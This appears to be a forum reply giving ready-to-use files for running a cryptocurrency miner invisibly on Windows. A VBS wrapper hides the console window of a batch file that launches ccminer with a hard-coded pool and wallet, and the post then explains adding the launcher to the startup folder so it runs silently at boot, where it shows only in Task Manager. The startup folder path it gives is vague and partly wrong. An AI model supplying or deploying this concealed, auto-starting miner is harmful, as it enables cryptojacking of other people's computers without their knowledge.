I have it working flawlessly. What's the reward?
First, create these files, and leave them all in the same directory:
hider.vbs
CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False
miner.bat
ccminer.exe -a skein -i 17 -o stratum+tcp://skein.mine.zpool.ca:4933 -u 1PHSDYvVp6HpqtuUPocK41DrdeHbbezaeP -p i7-920-GPU,c=BTC,skein,stats
Launchminer.bat
wscript.exe ".\hider.vbs" ".\miner.bat"
Verify it works. Cause it does. All you see is a quick blip of the text window while it launches the script. The miner batch, and the miner app itself, will both end up in the hidden process container; and will show up in the task manager as a background process. Gotta use task manager to close the process.
If you don't want to be launching the initial batch, and instead want to launch just the command, you can do that; but be sure to make a: Full:path.to/ the batch file and .vbs script. (I.E. C:/Miner/miner.bat, instead of ./miner.bat)... as well as a Full:path.to/ the miner in the miner launch batch file.
To make auto-run at startup; the simplest way; is by the autorun folder in windows 7/8/10, etc..
In newer versions of windows it's hidden in a folder; "C:/Program Data/Microsoft/Windows/Start Menu/Programs/Run" or something extremely similar. You need to enable hidden folder viewing, or for instance in windows 10, from the system root drive, type in cd progra~3, and it should be in there via the same hierarchy above if u wanna do it manually via my favorite "copy con" command.
